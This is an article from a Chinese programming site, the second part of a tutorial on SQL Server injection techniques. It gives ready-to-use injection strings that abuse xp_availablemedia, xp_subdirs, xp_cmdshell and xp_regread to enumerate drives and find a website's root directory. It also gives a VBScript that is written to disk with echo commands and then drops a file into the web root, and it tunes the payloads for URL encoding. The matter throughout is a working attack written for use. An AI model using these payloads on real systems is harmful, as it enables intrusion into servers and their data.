程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server 注入的四種個人經驗和技巧方法(2)

SQL Server 注入的四種個人經驗和技巧方法(2)

編輯:關於SqlServer


     1)我們可以利用xp_availablemedia來獲得當前所有驅動器,並存入dirs表中:

5 ;insert dirs exec master.dbo.xp_availablemedia;--

我們可以通過查詢temp的內容來獲得驅動器列表及相關信息

(2)我們可以利用xp_subdirs獲得子目錄列表,並存入dirs表中:

5 ;insert into dirs exec master.dbo.xp_subdirs ’c:\’ ;--

優缺點分析:

很明顯了,這樣就不會出現xp_dirtree那種所有目錄都放在一起的情況了,只會顯示一級目錄,找起來方便多了.

缺點也很明顯,只有sa有這個權限,也有可能管理員刪除了這個擴展(畢竟太強大了).

方法三:

這種方法很好

下面這個是原文

想到了使用adsutil.vbs程序,我是這樣執行的

a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt’;--是不是很長啦通過它我們可以把IIS裡面第一個虛擬web站點的設置情況(當然包括它所在的實際目錄咯),導入到a.txt中對於a.txt的實際位置默認當然是c:\winnt\system32,其實這都不是問題,不過遇到管理員把adsutil.vbs,刪了或是放到別的地方我們就沒辦法了(不可能自已用echo 命令寫一個吧)

第二步:用echo命令寫下面的代碼到c:\中,很多嗎也不算吧

.....xp_cmdshell ’echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs’;--

.....xp_cmdshell ’echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs’

;--

.....

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa & "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa &"\dd.ASP",2,true)

fil1.writeline ""

---------------cut here-------------------------------------

第三步:當然就是執行read.vbs三,這樣我們可以把aa.txt中的內容讀出來找到web站點的實際路徑

然後寫一個叫dd.ASP的文件在web站的根目錄中,能否成功試試就知道咯

執行http://x.x.x.x/dd.ASP

返回:\xxx

哈哈,的確是好方法,

不過原文好像有點問題

就是

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")

set fil1 =fso1.opentextfile(pa%2B"\dd.ASP",2,true)

兩句提交時會出錯

於是我們想到了加號,和&的功能相同

還有就是寫點什麼東西到dd.ASP呢?寫入pa,哈哈

哈哈,改成了

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa "\dd.ASP",2,true)

fil1.writeline pa

---------------cut here--------------------------------------

因為用浏覽器提交時 號被轉換成了空格,所以在提交的時候還應該把變成%2B,好了,應該可以了,如下

-------------------read.vbs---------------------------------

set fso1=createobject("scripting.filesystemobject")

Set WshShell = Wscript.createObject("Wscript.Shell")

spa=WshShell.Environment("process")("windir")

set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")

do while not fil.atendofstream

nr=fil.readline

if left(nr,4)="Path" then

pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)

exit do

end if

loop

set fil1 =fso1.opentextfile(pa %2B "\dd.ASP",2,true)

fil1.writeline pa

---------------cut here--------------------------------------

如果發現1沒有的話,我們可以該成2,3,4...........

a’;exec master..xp_cmdshell ’cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt’;--

但是這種方法只能在Windows2000下使用,因為2003下新建的網站所在地址不是按照1234來排列的,好像是隨機生成的,個人比較過幾個2003下的

地址,沒有發現什麼規律.

優缺點分析

同上xp_cmdshell不是每一個用戶都可以用的!還有一個問題是adsutil文件不一定存在,或者不一定在那個路徑上,當然如果你原意的話你可以用

echo寫一個(哈哈,老多老多行的喲),另外的一個問題是,如果主機上有很多站點怎麼辦?我遇到過一個有九個站點的主機,膽識只有第8個是有用

的,暈了吧,很難有人有嗯那個耐性會堅持到那麼多的,早就崩潰了或許.還有就是不能在2003下用!

不過說實話,這個方法的確是一個好方法

方法四:

這個方法是要飯的提到的,通過xp_regread等從注冊表裡讀出路徑

以下推薦,獲取網頁路徑(通過存儲過程達到對注冊表的讀取):

利用內置存儲過程 xp_regread(讀取注冊表鍵值,權限public):

語句:http://www.xxx.com/list.ASP?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test

varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MacHINE , @key=

SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths

(path) values(@test)

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved